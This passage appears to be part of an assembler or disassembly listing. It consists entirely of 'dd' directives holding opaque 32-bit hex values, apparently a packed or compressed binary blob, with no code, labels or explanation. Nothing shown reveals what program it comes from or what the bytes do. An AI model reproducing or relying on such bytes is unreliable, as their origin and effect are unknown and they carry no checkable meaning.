0E77A22C8h, 1B791EC4h, 5E85005h dd 8022943Fh, 0D040E686h, 3C2B120Eh, 0B84660ECh, 31AA9E1h dd 89B4DD57h, 4086E58Dh, 80475A49h, 2E16BF50h, 0C9017A5Dh dd 505420Eh, 84BE2859h, 0BA6610FFh, 48886EA0h, 0E90CFD28h dd 0BD1F08h, 7B61FCDCh, 53F4D604h, 2890F11h, 0E95FDA61h dd 0C8D14F51h, 982C017h, 35CB427h, 6B3024EDh, 0F2CFD141h dd 646E9891h, 5B615360h, 5C89C8C3h, 4316448Ch, 0BB205362h dd 0D0C482CFh, 0D9BF8250h, 69E5441Ch, 2035DBDh, 183D29A9h dd 446DC801h, 0BF240FD1h, 0A03FAFFBh, 48F8D82Ch, 83803125h dd 0C01065C4h, 0E9EC4659h, 90008509h, 0A4A2CDFh, 678EAA0h dd 0E9C08B5Ah, 0C3782107h, 737A6000h, 8A528490h, 0A9D8A8D1h dd 975881Eh, 189112DDh, 50197406h, 0B8364C53h, 60C44FD3h dd 9D8D955Dh, 0DCC1B2FAh, 585BD3FFh, 82172258h, 0E923201Eh dd 46C020AFh, 72C15855h, 0C06C892Bh, 45001511h, 1BF4C355h dd 0ACC4D68Bh, 8488BD81h, 6572126Fh, 7E470861h, 0EB167ABh dd 0BD0CFD9Ch, 80C88C84h, 10C60CC0h, 10A4985h, 184F6844h dd 256096A3h, 0F926522Dh, 4239ED16h, 0D88BD004h, 26D32CB1h dd 4AA679D7h, 7424A5AEh, 0EBC29D08h, 15594A06h, 310965Bh dd 0FE8B7B8Ah, 0C411C13h, 25971B27h, 1EA68CAAh, 1B4674h dd 9B8ACE71h, 1B696A60h, 5AD78B64h, 61F883D9h, 336BD17Fh dd 21C1105Ah, 0B585C706h, 6D990C17h, 350A6626h, 1B42A304h dd 0C4CEC7FCh, 0AE1B601Ch, 0D9330080h, 2612AD67h, 239989E9h dd 2D1818F9h, 8C1E1700h, 0A06EBF96h, 0F80226A2h, 1749597Ch dd 0A2068262h, 841FC97Eh, 8941466Eh, 9F2A91BDh, 71490B18h dd 33EF260Dh, 0D14991ADh, 7E2181Bh, 8DC0B794h, 0C444578h dd 287ACFCAh, 0E96EC68Bh, 0CC069907h, 59B01B5Bh, 3448F85Ch dd 0ACCB21ADh, 0A6992922h, 0AF524B64h, 0F244F3D0h, 0D5C60081h dd 5AA0DA9Ah, 4E005BAFh, 0FA5F8C9Dh, 900EC887h, 595E0453h dd 8F117AE9h, 0C3168849h, 0DEE62136h, 0CA0CF6E3h, 0E9044071h dd 0C9A44279h, 23013534h, 58019884h, 28379394h, 0A79AC0h dd 0AE093BBCh, 5546FE06h, 127AC909h, 91A09FDDh, 85D4FCD4h dd 8EB589E3h, 56A08121h, 0C3725E18h, 16748925h, 56460007h dd 6BD0AFC3h, 7F024963h, 3EEB702h, 0AD09E050h, 0BD5F810Fh dd 5DBD92D4h, 3F683D81h dd 8001FF47h, 7A8333C6h, 15A19503h, 0B2E78B43h, 6171301Ah dd 3A4FD602h, 61FC66C1h, 76A62161h, 1A4676D6h, 0A2513B00h dd 0EC1D594Bh, 3540E94Ah, 76479775h, 10483802h, 0A0068880h dd 0BD2338D6h, 5D856149h, 10C8D079h, 0C641E55h, 0CEEAD4DFh dd 0C0198864h, 0EBABA1A5h, 83B9822Eh, 0DFA01F20h, 5D996AFBh dd 551815D9h, 0DCBACA03h, 432B33D4h, 1CA22648h, 0EF27D30h dd 48722AE0h, 81DE2084h, 48137905h, 0F9F029CAh, 42FD2456h dd 301AE286h, 8B75766Eh, 6F28FC17h, 61B5A470h, 99D8817h dd 60E91D44h, 0D5B3450Bh, 0F11DBC65h, 827B64A3h, 16AED87h dd 0E1FDE056h, 5A1534A7h, 2D058212h, 3310F0ADh, 3014A238h dd 9D248973h, 0FF4289F5h, 3CE90701h, 0ED005029h, 6BBB776Dh dd 2899E6Ch, 0A754EB45h, 24C51B86h, 0FC57D8B8h, 0FF748C1Dh dd 7EF4AE00h, 5A762F56h, 2CE390A5h, 454329B5h, 3AB1953Ch dd 1923CEh, 5CFFEC70h, 0E9485574h, 1DE38089h, 1815DD7Eh dd 1710E835h, 0DEF6AC52h, 0B26E8200h, 0E01D056Bh, 998109AFh dd 0D282261Ch, 86091A01h, 3391202h, 1610C781h, 0B27C5479h dd 0E5CA108Bh, 3E503222h, 84FF2E15h, 0E40A75B5h, 6688DFF2h dd 842426BFh, 15CB1922h, 24A5D92Bh, 699833E0h, 29F426E1h dd 14F9C232h, 2E90D918h, 301C5920h, 0B1F35E9h, 0D4B8DBDh dd 61D24442h, 0E32061D7h, 681B816h, 19E1F029h, 2408D1D6h dd 2CB10A03h, 27081154h, 2B448457h, 10267014h, 3504DE1Ah dd 10C18031h, 61224D8Bh, 0D3402D96h, 0AE4B8h, 1912FE3Ah dd 0C51F055Dh, 9F00AAB0h, 1A332BA7h, 0B9860F99h, 5AF509F8h dd 0BF964314h, 661E02D4h, 91AE9AC1h, 1101B782h, 0FFBF0F01h dd 0C981AA42h, 40F7E9A8h, 7EEABA3Bh, 9E2A937Eh, 531F51BDh dd 0C65A0169h, 0F95F61B8h, 0E8182826h, 97D6230Eh, 1584AE1Dh dd 43875B40h, 0E905139h, 952975F2h, 6D282F29h, 40D71AE0h dd 1C80E151h, 199EFC43h, 0C991491h, 1288ECC9h, 488B28BBh dd 0C98D030Bh, 0CA3A2E07h, 2028065Dh, 1BF94099h, 8C00B218h dd 2EA72CEAh, 280F88E5h, 45F9FFB7h, 288DE50Ch, 5EDC46Ah dd 2480F4D8h, 0C75FE7EEh, 97998081h, 0CF814535h, 0C43A67F2h dd 2839601Ch, 0A3C80282h, 0CAB442Dh, 1FD1F740h, 7C9CFB1h dd 2E329F1Fh, 0B64A9053h, 2CA5930Ch, 2200DE4Eh, 0A4B08EDFh dd 1433ACABh, 4404118Dh, 90A50C88h, 0B095AC6h, 0D91F29EFh dd 8A0FC522h, 0D3067779h, 0C0F8068h, 2A899D29h, 0E8B903A3h dd 19181BD1h, 2C83F407h, 0BC50346Eh, 0FCFAA5B9h, 0BE9EA65h dd 6A2E1C52h, 45703292h, 59536BDCh, 0C03E92EEh, 1A399040h dd 2A25AC99h, 95048B18h, 0B7A42B51h, 83314091h, 3A20F848h dd 23042D85h, 0DFEBED06h, 0E506C9A1h, 10FA3293h, 2240832h dd 0E9EC3E39h, 7BA4508Ch, 14C35839h, 0E0CE4489h, 0C35040h dd 73FD89E6h, 0E85ECE1Dh, 0AE00FD91h, 9FFE7193h, 0D0802695h dd 0FCF11EBDh, 8AC03E80h, 9B531FDh, 594C199Ah, 559F2610h dd 92892D38h, 0F0ED586Fh, 43589CE9h, 2851EFF2h, 0DA603CD6h dd 70AF5B2Ch, 9A1DD28Bh, 0AC09BDD1h, 0DF70E0FEh, 88B312EDh dd 8842CF45h, 0D842FED8h, 69D98BF3h, 58AD2D23h, 8C1AE8A8h dd 0E8935700h, 7338FA16h, 0DE8A0660h, 7BD9BD29h, 3B25614Bh dd 5969BD82h, 10E90C7Bh, 4200564Dh, 3E68A4CFh, 2EFD6B8Ah dd 610876Dh, 2E7EC0B2h, 0AD21B098h, 1421080Ah, 0CD60F024h dd 37FF140h, 0C50A113Ah, 84F8A1D0h, 0EEC49B9Fh, 5A0904FDh dd 0C201FD05h, 0A5B1F47h, 0E9043BA6h, 0FA2CF41h, 0F102F83Dh dd 2F520DD9h, 1C91B5C5h, 33C23C61h, 0D99662Dh, 0BB45B501h dd 92649A63h, 36F3F179h, 0CEEE5070h, 0CB4BEA98h, 29A1E905h dd 2F4A93CAh, 1F1723ABh, 239FC198h, 38DD8D31h, 98764D14h dd 59F1C1C0h, 0FC8753BDh, 0C33176C7h, 2A8651D3h, 882A9C23h dd 79101CCh, 1CABB400h, 0FC8E73D8h, 0F9CA5EC1h, 0F2845F14h dd 0E3E4FEC1h, 3015A281h, 6605DB29h, 50768FB9h, 820055E2h dd 97EF7731h, 0B513D9C1h, 0B29B016Ah, 0BCD2ED80h, 0D8046DB4h dd 0A34C92BAh, 8D0045E2h, 46032DB0h, 0D700C2C0h, 0DCA9CBE3h dd 0B3E0B628h, 68601C64h, 52D973E8h, 6114A081h, 0D87A7E9h dd 3CDDE397h, 0DBC808DDh, 15094CAEh, 0B364CE2h, 0CAD0BF66h dd 0F498D489h, 44A7DBDh, 34044075h, 78B62AB9h, 12ADF440h dd 2C35B75Ch, 248B1968h, 0C566C9B6h, 4E48A289h, 0ED02C624h dd 4CD922C9h, 0B9BEC465h, 0ACB10210h, 71D05350h, 55DA7862h dd 53E2A80h, 0D4001D23h, 38AEA3B3h, 0F3B10947h, 0FD649767h dd 9EFD9328h, 0FE51BF00h, 0C0E6E17Fh, 5DA439A2h, 808294C9h dd 5599ADEh, 551692E8h, 0D3954121h, 880F198Ah, 14CB68D7h dd 0CEA4ED31h, 0C21888A4h, 91602D47h, 0D20481FAh, 714BEF8Ch dd 370743B6h, 0BFF65BE9h, 0F46A8892h, 0FB85DC3Eh, 0BF7CB30Ch dd 2A2C8E34h, 28E1E507h, 26652F9Dh, 89980B15h, 36204DBDh dd 416CE781h, 8B591F02h, 52B1985h, 0EACC8E9h, 0B7E8BA07h dd 1E3EB4h, 0E1B352D0h, 57724E9h, 8DFE4134h, 0AA4EFB5h dd 0EC058F52h, 0EB025F7Bh, 641E4995h, 0ACE63596h, 0E0BBA626h dd 0E86FDAB3h, 186917D6h, 937705ECh, 3A01C5A1h, 31B2351h dd 46A186EDh, 6813508Fh, 8D250150h, 5FF90125h, 5AA08EB1h dd 9604F0A2h, 0F14C074h, 0CD009470h, 7DDA899Dh, 0F03ECB4h dd 586F69B7h, 82F38B65h, 7F92C90Ch, 33CB8B82h, 78C6EBE2h dd 0A1BD0B09h, 9994821h, 825349Dh, 81402010h, 0D717E8EAh dd 14603Dh, 0D8C70DE2h, 0D5F00A3Fh, 0F95DB9BDh, 0D9C81FD9h dd 24D19A5Eh, 7497B693h, 45001D46h, 0F1D1066Bh, 4C0320BEh dd 9D01F249h, 0CE956919h, 5406D504h, 95C92EE8h, 9750D142h dd 8016113Ch, 8B705EDAh, 0FFBF03D8h, 53424965h, 0EFDDE237h dd 978903E3h, 0FE864345h, 0C520C206h, 5B19E506h, 4139F730h dd 0C89F400Eh, 361A11B9h, 829E7BC2h, 0E42215DDh, 62218A2Fh dd 0C4C57AFDh, 168126h, 0D180606Ah, 4930D123h, 49FD9519h dd 80D12850h, 0D5AAACFEh, 326D0016h, 0BDE184BAh, 0DA0BBFA2h dd 9833C453h, 1C7AEFh, 5A914859h, 9C1D8946h, 0F7CB53Dh dd 0D2056CE8h, 0F9B64601h, 0BEA565ADh, 4BC1F04Dh, 0D649FE3h dd 0BEB4BB5h, 0CE68188Bh, 0E4C753CAh, 8249D2EEh, 0A2962h dd 7D915BBFh, 0C161782Ch, 1F8E595h, 0BD79E181h, 0BA4214EAh dd 59242C69h, 0B5893FC2h, 934750E5h, 0D674329Fh, 0B7979C6Ch dd 40090060h, 71AB77DDh, 564CCEACh, 5E3D388Ch, 1840F844h dd 0D6C24E9Bh, 0F4E0640Ah, 9C8C1A7Dh, 16465E52h, 0EA6D9E09h dd 1C000544h, 0FED4B221h, 250BAB04h, 7E043D8Dh, 0B2CFA85Ah dd 8D292143h, 11CD68D5h, 0F098C3Dh, 37427C83h, 65F10740h dd 37E9261Ah, 44F8C7B5h, 601B601Ah, 35B80AEAh, 0CAE795Eh dd 967B16ADh, 93F4286h, 0CCD3D9BFh, 4271EC3Fh, 75FE7819h dd 1C9A2A42h, 1AC04BEDh, 38EA890Dh, 3F808A07h, 9FB973E4h dd 1B4CACBAh, 0DCFC265Eh, 0BC6237Eh, 850BC6F0h, 0A53D94CAh dd 0B1B9A409h, 0C028A3BDh, 221D2794h, 282648B1h, 2FA8944h dd 3122654Fh, 11517023h, 0A901E980h, 85E989CDh, 89510B42h dd 5EBC0C23h, 15458101h, 840080B2h, 0EB894CE0h, 87387578h dd 7A8B814Dh, 350F7F6Ch, 408D8730h, 0E9355A2Fh, 0D2E67017h dd 59E917F0h, 0F02D33Bh dd 33D97BBh, 8DFFF18Ah, 779FCCh, 73B01335h, 6B61CC66h dd 0F2398216h, 0F8B75345h, 4005CA2h, 11236CFh, 391C7D4h dd 8F07DDF8h, 1D07DDC2h, 0C04D108h, 0BFC9D78Bh, 5024E9EAh dd 467CE002h, 0E06C1F19h, 0EFC728C4h, 4C9B681h, 0CBF8C430h dd 8129C194h, 53924C98h, 83085C00h, 24D08260h, 3D37198h dd 49178EFCh, 284A56E9h, 80DF8B9Bh, 48AF71F2h, 0BA06A097h dd 14CE0434h, 2D1209Ch, 499D2917h, 6440D749h, 4B650046h dd 1EB6A26Ah, 1301CB1Dh, 871434CEh, 684852F2h, 95331853h dd 6A5945F9h, 0B9623465h, 4A31B5F5h, 43D11705h, 0FE692A6Dh dd 13B90726h, 8C6B2062h, 0C324F6DBh, 0FC119304h, 56ABCC4Bh dd 0B8526804h, 6A789CA8h, 45C20458h, 0BE64DDB9h, 34C2E281h dd 402D0807h, 0AC9B6847h, 0CCEC1823h, 0F0528B04h, 684F031Eh dd 0DC2F2661h, 39118904h, 6304B43h, 286A537Dh, 85141856h dd 0C07575C0h, 64986841h, 2ADB5687h, 0B4DD099h, 0A4684C07h dd 688025E7h, 9D228B20h, 4A5BFC34h, 390D0A04h, 1556B854h dd 0D703C717h, 0C4361D4h, 13074502h, 6E52DC3h, 2E864702h dd 518BB552h, 1670A11h, 0F7976845h, 0D0192A5h, 67660E15h dd 28AC0C02h, 60327529h, 8DA1B4B6h, 0CB0C484Eh, 0B653C912h dd 4674D0A4h, 2EE3001Ah, 2B1E5C49h, 0CF810398h, 32D89FF6h dd 3C0CF017h, 0CCFBF322h, 0CC504C0Dh, 0FF64CF05h, 116F1435h dd 0BAF71141h, 9D0DA125h, 81041071h, 3F1CA1AFh, 1F3AD029h dd 53B9D7D7h, 416248F8h, 0A2BA6680h, 4EBD806Ch, 85F5884Dh dd 0C1533044h, 0E95FD096h, 725C6594h, 3118F248h, 0CAAE30FCh dd 8D271DB0h, 337300ADh, 3B8A50DBh, 0C02D5FEBh, 7C2CCC90h dd 0CDC76600h, 21D9953Eh, 6BE55CC5h, 0BA44B92Dh, 8F528A3Fh dd 802ED325h, 27E35307h, 924F003Eh, 6629F4CFh, 5900982Ah dd 73F0F40h, 0B68F640Bh, 0C1C46449h, 10068E5Ah, 4B79BD89h dd 0F9654F1Dh, 0FB8312F0h, 841599A0h, 0E935B77Ah, 28A211FDh dd 0F952E600h, 5E5F9074h, 7B6B637Dh, 0B5B71Bh, 3659468h dd 0B40A995h, 23C13881h, 8B40C00Ah, 0C70C0FBDh, 0FF39A46Ch dd 4C8303CFh, 0A00415B8h, 638BC3B2h, 0E855305Ch, 815D4184h dd 50242EEDh, 1B83518Bh, 25D75C42h, 5D0C4D89h, 1C302A4Fh dd 4129952Bh, 27372C25h, 24C0A530h, 20B02210h, 0B503F22h dd 190AFD14h, 570C2510h, 860F1484h, 0D9BF81DAh, 303A1641h dd 531B710Ah, 0DD39B700h, 1F48A7B6h, 4199912Eh, 119E995h dd 17810AB9h, 55D704B8h, 81748048h, 65BB0DF7h, 868503D4h dd 34B640BAh, 5F7DF084h, 0E0ED0CCEh, 4D5868FBh, 0A752656h dd 13C5099Dh, 34A97AF9h, 610DE2CCh, 0B2D7EF1Ch, 80667074h dd 0BE54E62Eh, 43D217Eh, 421DD508h, 2117B361h, 0B002C220h dd 330C632h, 0CC4D7454h, 0F8E0E496h, 604058Ah, 0D98C175Bh dd 6FE0A0B6h, 0D709FE79h, 8243212Fh, 0C04396Bh, 174FBD0Ch dd 0AB3AE388h, 0EB970AEh, 35382E31h, 70012B3Ch, 63007845h dd 69747065h, 73206E6Fh, 14667649h, 0C616D72h, 796CDC50h dd 37737365h, 0C708202Ch, 68745364h, 6C369CEFh, 6977CCE3h dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh, 2EFDF163h dd 66D2A9Dh, 16685420h, 797B6B76h, 0A37757Fh, 1FA040Dh dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh, 1EB3699Eh dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h, 29647261h dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h, 0DA0F421Dh dd 30F323Bh, 437469E6h, 1E900F3Dh, 1A5095B7h, 1E3A188Eh dd 85105DF8h, 2D88E206h, 190B6EA4h, 8D959AEh, 6899AD83h dd 1B6B8025h, 240A27DEh, 19E53D84h, 58078E14h, 97169968h dd 5A862445h, 485AB265h, 25429269h, 0A9719288h, 719EC81Ah dd 0A6C81AF6h, 8DAE1470h, 0FD38A244h, 96E44AA7h, 9035FE39h dd 0BC0CE29Ah, 200C8C25h, 0E9250BFDh, 3D9764A2h, 2AC22D71h dd 0B9700D95h, 11852284h, 4D2059B0h, 0C2810E23h, 0F3131CF8h dd 958D1656h, 6052D5C8h, 0C3402834h, 93B03BD4h, 66B42D45h dd 5540480Ch, 139D8B8Ah, 0C24CC38Bh, 31659A33h, 92085011h dd 88549087h, 858799Eh, 5C9087A2h, 0DCA99688h, 0AF0DAA4Fh dd 141468D1h, 0C995ACDh, 86960C9Ah, 9E21A243h, 8EC89290h dd 88490AA8h, 7C08A1Ch, 0DC8A3A4Fh, 6A2458F3h, 0AA244065h dd 0D02D192Dh, 0CC0112DEh, 0C1168B65h, 8E6A18EBh, 220B058h dd 1A1C604Ah, 47193865h, 0C2618041h, 0E6340464h, 0C8603DA0h dd 0F6100814h, 614F46ABh, 0F8E9C324h, 0B58B2186h, 81388F7Fh dd 18F035E6h, 9EE813C8h, 0C68189FEh, 0B53B31E8h, 0F398361h dd 51BBE986h, 5CD8201Eh, 6FCFD822h, 8C026650h, 0A0324C8h dd 6B7C5CC0h, 0ECBBAB04h, 1085890Fh, 2418864Dh, 203FDB0Ah dd 0E3ADB067h, 0C82404D8h, 509FCFC6h, 81498EEh, 146113E1h dd 4C010F91h, 0E970FEF1h, 531C25C0h, 8966E423h, 915FCDBh dd 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h, 80CBEF83h dd 0C31A03E3h, 174B3884h, 89C79D76h, 2CE615C9h, 0E6448B37h dd 0C5229845h, 8F06AF89h, 57A71C18h, 6623A228h, 5B53BD01h dd 12A322A2h, 483E8060h, 0BB8031EAh, 763AB7A1h, 0B10139B0h dd 0AC45C84Bh, 2C88A07h, 0D12032C3h, 640BAACBh, 430140D2h dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h, 0A7AE657h dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h dd 91DB2D32h, 0D8E8AC38h, 81D301D1h, 465ABCC3h, 0FAB0BC37h dd 970B4932h, 0C38B20E8h, 5B74595Eh, 4A7B6053h, 0CAAC1FC8h dd 0D1772AEAh, 39E702C0h, 0F400DDFh, 0CA04A8D8h, 64D4293Ch dd 0A2A88424h, 0D605686h, 2128858Fh, 0A1206420h, 20F2BD06h dd 23E93889h, 2EA63FD2h, 574403Fh, 9B46F317h, 33212489h dd 59FD3C14h, 473D1E46h, 0AE10C930h, 69D187E9h, 247648DFh dd 7A004D72h, 0CAB2B80Ch, 27A95E45h, 30060399h, 46C8D190h dd 0FF73B05h, 8D24F182h, 2808EA0Ah, 284CCA5Eh, 56125C28h dd 13105351h, 0C4A122Ch, 2D3C6761h, 200AC942h, 13349804h dd 0C1D83204h, 1C8508C3h, 1C026775h, 885E595Bh, 0B0089837h dd 1A4B4E43h, 51D88191h, 91DB50Ch, 0E90844C1h, 0C7430C41h dd 0C08BF1DEh, 9346D4DAh, 0B8062087h, 96138F5Ch, 818F6132h dd 0CD6B0E88h, 40E623Fh, 6D972517h, 14801891h, 0F82E50D5h dd 16DC05BEh, 6E15118h, 0F20666B4h, 91719795h, 62FA801Ch dd 27313BEh, 0D74A33DBh, 0C97C880Fh, 451E4C6Bh, 0B8F43D45h dd 323D00FBh, 63B2036Ah, 24A30E9h, 93C34060h, 8E9B4B34h dd 0F6000F1h, 87B8F9BFh, 7ED201DEh, 0FCDF8C61h, 835E3FE8h dd 52D4A40h, 387C1CAFh, 4E806FF6h, 64C14829h, 475BB113h dd 665AA700h, 9A04C7F7h, 0B5C790BCh, 6C076BAh, 0BB145B7Eh dd 828CBF56h, 40A5F280h, 4E471E07h, 881CCEE5h, 0B8A7C018h dd 84970648h, 0C2CC7522h, 39E7078Eh, 307A322Dh, 0AC71B135h dd 92E12726h, 9356EB01h, 0C361D68Bh, 8ADCD7D1h, 0E28CB4D0h dd 0D6280D8Dh, 5F020511h, 27A594Eh, 847B06C2h, 235CBE00h dd 4F8B1278h, 871E9BC4h, 0E7E06A9Dh, 4801CD9Fh, 15EC17EBh dd 0D739028Ch, 0F7AEBE66h, 0DC745Eh, 0FF30B172h, 8F0F56F0h dd 66870EB4h, 0BEF0C9B9h dd 115D0B10h, 13E94Bh, 5558F73Dh, 0C604EBh, 0C9864532h dd 859BB535h, 0AB1D3E0Bh, 9FE04C67h, 0E3E0AE89h, 0A10B87BAh dd 0A40B679Ch, 965DBDAFh, 0F87A208Eh, 0D6058161h, 35204B56h dd 72197081h, 6E7AB521h, 156E00FCh, 0E4B59438h, 11690A71h dd 0B38B85Fh, 41C4E7FFh, 87CEB0B7h, 16179457h, 0FEECC10h dd 140B604h, 0B008C8FEh, 212D4BAh, 0C312CEBCh, 79B8AEADh dd 0CC7BE901h, 0E0D980E4h, 0B0F1F020h, 0C7FE888Bh, 0DE615094h dd 89B18B1Ah, 1C6EC214h, 1188B103h, 0A0BC0568h, 0E12214h dd 8BA33EB3h, 0BA666180h, 95D1A726h, 26CAAC3Ch, 0D6A7B4F6h dd 0FCF40E42h, 0D4438Fh, 4171ACFBh, 4A20DBA2h, 0E193F683h dd 64308037h, 0E65F0B77h, 97D38B75h, 5928EE81h, 0C2F91130h dd 65F202Fh, 38003331h, 3F8FF292h, 0C13093h, 0BA8B0DBCh dd 5B1DB6C3h, 0B990E84Ah, 3A30D0CEh, 0F9813EC4h, 109E35F8h dd 80CA7C96h, 3AB6E6AFh, 0EDCC0392h, 0A3F3071h, 0C000DA73h dd 0F5BFC366h, 0EC815E05h, 975B4ED2h, 0F7A467C9h, 59830868h dd 0F70B048Bh, 0F081D140h, 0A6881EBDh, 0C7BF4719h, 0F7C0A015h dd 68483EA7h, 300222BEh, 0D83017B2h, 7487266h, 0EAA40D0Eh dd 0E7F85189h, 6C4A5408h, 0FF571E9Ch, 0E59447D1h, 99C3D136h dd 0DF2C80BEh, 835F969Bh, 0E10450E9h, 27F9F6F1h, 1502A4D4h dd 0A4E8A785h, 4EFCF08Ah, 5C86950Ah, 0FA0C0436h, 1EE6110Dh dd 4092492Eh, 24F79B8h, 1C00129Eh, 0F736D703h, 0FB3E383h dd 33FB35A4h, 0CEE1BE80h, 40DEB692h, 0CD7ABC07h, 0CBE78B60h dd 28FE60CCh, 102B4B14h, 498540DFh, 380CB911h, 3033D006h dd 7F204CD7h, 8900D16Fh, 3C73798Dh, 0D27A0Eh, 1AD06C78h dd 26045E14h, 0CF368200h, 5324701Fh, 0CB3D009Eh, 5B605A9Ch dd 0B601DB77h, 8564CF7Ah, 4444A3E1h, 3A722801h, 318F80DBh dd 9BC66675h, 0E7048047h, 0FEAF87C3h, 4BC34FC7h, 8D181E59h dd 0CA9D0B3h, 0B12703D3h, 0CDEE3D29h, 0E87ACF83h, 0E9404353h dd 0BEF7C794h, 0E7761E30h, 10BC2B0Ch, 25031F66h, 0C270B7F7h dd 0FC00BA53h, 50728786h, 206FCC9Eh, 7D18832Dh, 9FE82606h dd 0F6202430h, 5DA10C16h, 47036FC0h, 7D7993D1h, 4229FEC3h dd 0A64F0824h, 0D0AB0863h, 91228688h, 0EE20148h, 65F9C159h dd 2ADDE4h, 0CF968894h, 0F5ED55F0h, 0A43D6000h, 0DAC268EBh dd 9AFE077Ah, 3070A074h, 0CAAF4B0Ch, 0FBF7A900h, 90E5D762h dd 978B00E2h, 0E492A3F9h, 0AE7B2A7Dh, 4FBB290Ah, 2000D174h dd 12E95ED7h, 8ABF388Dh, 29E241B8h, 0FA003B75h, 1B6A849h dd 0AF815B9Ah, 0C8FB088Dh, 5E30A269h, 120A3835h, 0F3C11C37h dd 0C731406Eh, 5214368h, 0F56960C0h, 5672FBh, 0EC9F1E8Bh dd 5917CA07h, 3BD8100h, 0BE829661h, 73EA1CD5h, 71CE4099h dd 0F315F731h, 412F1600h, 0F04BB56Bh, 5AB3004Ah, 7C1998C8h dd 1CE22993h, 0D0D8AE0Eh, 22BD209Ah, 9560976h, 58D491E9h dd 85677400h, 0F40081A5h, 3FED503Eh, 0F8520B2Fh, 0BDA1008Bh dd 0E4593BF0h, 3600F3C2h, 0FEA773CCh, 1DE5D512h, 80E2BA84h dd 9E7EDB4Dh, 0C000F434h, 8FF6656Bh, 0C1EF7A0h, 242F0718h dd 9B2AEDBAh, 0D903AC16h, 82EEF74Bh, 56BAC0DAh, 0A1D31D4Ah dd 0FD8340A4h, 93E5C498h, 8010613Bh, 0CD21BCB6h, 0F4B899h dd 0F23A3418h, 30013B39h, 3D84D800h, 8A99CB24h, 0C74E000Dh dd 3E31CD78h, 4D007D77h, 0E6077332h, 79FA5ABFh, 56831F2Dh dd 0C82D2B6h, 15A82F64h, 9909CD15h, 0D88400F8h, 5FEDEE30h dd 0CC9709F6h, 1020B341h, 995715F1h, 0A4079A76h, 71CD6D09h dd 0F06651D0h, 0B7300003h, 0B3539286h, 1B1E25ADh, 0AA806379h dd 347C9CCFh, 0B8A250F0h, 4A9A48FFh, 0B258E830h, 990365FCh dd 0A461C6CDh, 3F20C019h, 9ADE0063h, 17E6F87Eh, 0CA00382Dh dd 8A8D1855h, 28CEE48Bh, 0AC32E2h, 6F539A4Bh, 966C4F16h dd 2B0C30E8h, 3120BB3Fh, 0C0ADEEF2h, 8834FA71h, 6500B8B9h dd 8D4B7E1Ah, 0FB455Fh, 0EF1864FFh, 0E1D39E8Fh, 7F96E802h dd 8FA4F086h, 6C0880CCh, 945834Bh, 59BCE404h, 6D6F2800h dd 0BD0069DDh, 0E7D288A6h, 3A2317h, 65D9736Eh, 0CC71A3B9h dd 7E9B5A00h, 66F4B94h, 8DAD3D3Ah, 1AFB4280h, 4656E355h dd 8102C79h, 680A6493h, 40D406EFh, 0D41C7C2Fh, 0F70E37F2h dd 81E6B70Eh, 56333881h, 3722D424h, 0E0E87FA8h, 8BF79C78h dd 0A2A56B00h, 0A4ED2091h, 205F6037h, 670CF2EAh, 0A3865B01h dd 328D2F77h, 49833ADDh, 6D78568h, 37967990h, 0FBB34E00h dd 7075A699h, 62A500DCh, 7BAFE1C0h, 1990113Ch, 684C5802h dd 0C03413B3h, 0AA4668h, 1ED64FAh, 308E5E44h, 43002F7Ah dd 0D960C6ACh, 0F9411Ch, 36A6044Fh, 0D03FB25Eh, 8800D4EEh dd 6123AF6Bh, 3BDF5B02h, 0C135ACFh, 0DD640EEEh, 3FC2F6A0h dd 9100043Dh, 80887BFCh, 1CB61D3h, 6107AD4h, 0E8035A9Fh dd 0A4009142h, 86A86F12h, 1E9C5BE6h, 0DD442997h, 224A00F8h dd 26D68F55h, 5F915100h, 0D0B789BDh, 0CC9E05CEh, 80925469h dd 0D9066A04h, 0C45E7900h, 8D43594Ch, 4B680934h, 0AC987829h dd 391F858Fh, 96003859h, 797C6CEBh, 691888E3h, 735CB00h dd 665AD313h, 0B8D9033Ch, 458B32DEh, 1EAF41FFh, 2E0C742Fh dd 64ABA805h, 4C0F321h, 0D1A667h, 43650AECh, 927CDFB7h dd 6150BD00h, 322DF877h, 304FF86Eh, 0D1B893BEh, 0C700D062h dd 0E2E969Eh, 7A41DC49h, 77875B1h, 37899AC3h, 180770Bh dd 0E454092Bh, 0BB00A391h, 0E5583EEEh, 0F42457h, 76072F51h dd 7F939218h, 6D005376h, 5DB9B2BEh, 211AF4h, 50ABEEBDh dd 64726C1Dh, 350A3890h, 3C27CC7Dh, 0ACDA6200h, 0E8FE7651h dd 0C19D1207h, 28E807FFh, 8997403Fh, 65003AD0h, 3B6484FEh dd 0ECDE1FA6h, 0AE400119h, 480EBBA2h, 7490DF4Dh, 6900F4EAh dd 23CACF6Eh, 28E95C9h, 31A5E709h, 0BC80813Ah, 3E92360Dh dd 0D532D0C0h, 0B0D85E96h, 0E3BB0EBFh, 4121FE73h, 0E80CE2D4h dd 0E4285DEFh, 0B600E805h, 0C8434781h, 0DC96C9h, 83445B11h dd 0EFFFD6FCh, 0E166C0A0h, 0A7CFC201h, 675A4C3Dh, 510D2030h dd 0FCCCD425h, 2311031Ah, 0F131D915h, 0E3A62AB0h, 0DF833Fh dd 0E8D387ECh, 1C292F0h, 6E628119h, 80661EA3h, 0C7615648h dd 0F6C404h, 8CF5F085h, 8132D997h, 0E6174205h, 5980D3ACh dd 0AA58AEh, 0A1F5CC1h, 0FB648976h, 0F454872Eh, 2505E787h dd 0D1BE7400h, 0AFBC006Dh, 0BE6D38Bh, 70123C21h, 2D00DABBh dd 0F04DB673h, 927E1E27h, 3D048755h, 58CD6062h, 0B4041EFFh dd 61EB4175h, 772058C0h, 5501859Eh, 1FFF09A2h, 7D4E8464h dd 3650099h, 0C2EC774Ah, 0E459D29Bh, 0F3B70134h, 0D3FAC008h dd 0F42E8424h, 0CBAF415h, 0AA22789Dh, 0E42453C9h, 7080B87Ch dd 9C5D3D82h, 0A494B0h, 99B3AF4Ch, 0E6000428h, 97E2ACDBh dd 493E8F56h, 6706C491h, 99D6B3B0h, 2701E6EEh, 